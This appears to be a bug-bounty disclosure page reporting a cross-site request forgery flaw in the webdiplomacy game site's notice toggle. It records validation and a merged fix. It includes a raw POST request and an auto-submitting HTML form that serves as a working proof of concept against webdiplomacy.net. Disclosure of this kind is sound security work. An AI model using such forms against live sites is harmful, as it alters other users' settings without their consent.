Cross-Site Request Forgery (CSRF) in kestasjk/webdiplomacy

Valid

Reported on

Jul 23rd 2021


✍️ Description

CSRF bug when disabling notice

🕵️‍♂️ Proof of Concept

no csrf token checking during enable/desable notice .
Bellow request is vulnerable to csrf attack

POST /index.php HTTP/1.1
Host: webdiplomacy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie:
Upgrade-Insecure-Requests: 1

gameToggleName=368019&submit=Disable+Notices

exploit poc

<form action="https://webdiplomacy.net/index.php" method="post" id="myForm">
<input type=hidden name="gameToggleName" value="368019">
  <input type="hidden" name=submit value="Disable Notices">
 <input type="submit" value="submit">
</form>
<script>
document.getElementById("myForm").submit()
</script>

You need to change gameid to victim gameid

💥 Impact

csrf bug

We have contacted a member of the kestasjk/webdiplomacy team and are waiting to hear back 4 months ago
ranjit-git modified their report
4 months ago
Kestas "Chris" Kuliukas validated this vulnerability 4 months ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
Kestas "Chris" Kuliukas confirmed that a fix has been merged on 721dfa 4 months ago
Kestas "Chris" Kuliukas has been awarded the fix bounty